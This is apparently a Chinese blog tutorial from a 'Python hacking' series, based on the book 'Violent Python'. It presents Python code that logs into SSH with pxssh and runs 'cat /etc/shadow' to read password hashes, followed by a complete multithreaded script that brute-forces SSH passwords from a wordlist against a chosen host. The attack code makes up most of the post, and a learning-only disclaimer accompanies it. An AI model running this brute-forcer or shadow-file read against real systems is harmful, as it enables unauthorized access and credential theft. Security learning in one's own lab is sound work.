Python黑客攻防(十二)用Pxssh暴力破解SSH密码

注:本篇文章仅供学习交流,请勿用于非法用途。
欢迎关注微信公众号:黑客帮
参考:《Python绝技:运用Python成为顶级黑客》。

Pxssh交互:

Pxssh是一个包含Pexpect库的脚本,Pexpect安装见->【Python黑客攻防(十一)用Pexpect与SSH交互】,Pxssh已经预先写好了login(),logout()和prompt()等函数,可直接与ssh进行交互。

# coding=utf-8
from pexpect import pxssh
​
def send_command(s, cmd):
    s.sendline(cmd)
    # 匹配prompt(提示符)
    s.prompt()
    # 将prompt前所有内容打印出
    print s.before
def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        # 利用login()进行ssh登录
        s.login(host, user, password)
        return s
    except:
        print
        '[-] Error Connecting'
        exit(0)
s = connect('192.168.1.14', 'root', '1')  #kali本机
send_command(s, 'cat /etc/shadow')

在这里插入图片描述

修改代码:

修改代码使脚本能自动执行暴力破解SSH 密码的任务,除增加了一些参数解析代码来读取主机名、用户名和存有待尝试的密码的文件外,我们只需对connect)函数稍做修改。如果login()函 数执行成功,并且没有抛出异常,我们将打印一个消息,表明密码已被找到,并把表示密码已被找到的全局布尔值(Found)设为true。 否则,我们将捕获该异常。如果异常显示密码被拒绝,我们知道这个密码不对,让函数返回即可。但是,如果异常显示socket为“read nonblocking" ,可能是SSH服务器被大量的连接刷爆了,可以稍等片刻后用相同的密码再试一次。 此外,如果该异常显示pxssh命令提示符提取困难,也应等待一会儿,然后让它再试一次。请注意,在connect(函数的参数里有一个布尔量 release。由于connect()可以递归地调用另一个connet(),我们必须让只有不是由connet()递妇调用的connect)函数才能够释放connection _lock 信号。


# coding=utf-8
from pexpect import pxssh
import optparse
import time
from threading import *

maxConnections = 5

connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0


def connect(host, user, password, release):
    global Found
    global Fails

    try:
        s = pxssh.pxssh()
        # 利用pxssh类的login()方法进行ssh登录
        s.login(host, user, password)
        print '[+] Password is: ' + password
        Found = True
    except Exception as e:
        # SSH服务器可能被大量的连接刷爆,等待一会再连接
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            # 递归调用的connect(),不可释放锁
            connect(host, user, password, False)
        # 显示pxssh命令提示符提取困难,等待一会再连接
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            # 递归调用的connect(),不可释放锁
            connect(host, user, password, False)
    finally:
        if release:
            # 释放锁
            connection_lock.release()


def main():
    parser = optparse.OptionParser('usage % prog'+'-H <target host> -u <username> -f <password file>')
    parser.add_option('-H', dest='host', type='string', help='specify target host')
    parser.add_option('-u', dest='username', type='string', help='target username')
    parser.add_option('-f', dest='file', type='string', help='specify password file')
    (options, args) = parser.parse_args()

    if (options.host == None) | (options.username == None) | (options.file == None):
        print
        parser.usage
        exit(0)

    host = options.host
    username = options.username
    file = options.file

    fn = open(file, 'r')
    for line in fn.readlines():

        if Found:
            print '[*] Exiting: Password Found'
            exit(0)

        if Fails > 5:
            print '[!] Exiting: Too Many Socket Timeouts'
            exit(0)

        # 加锁
        connection_lock.acquire()

        # 去掉换行符,其中Windows为'\r\n',Linux为'\n'
        password = line.strip('\r').strip('\n')
        if Found :
            t = Thread(target=connect, args=(host, username, password, True))
            child = t.start()
        else:
            print '[-] Testing: ' + str(password)

            # 不是递归调用的connect(),可以释放锁
            t = Thread(target=connect, args=(host, username, password, True))
            child = t.start()


if __name__ == '__main__':
    main()

测试:

这里破解的是kalilinux本机的ssh,字典也是使用kalilinux自带的字典。
在这里插入图片描述在这里插入图片描述欢迎关注
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值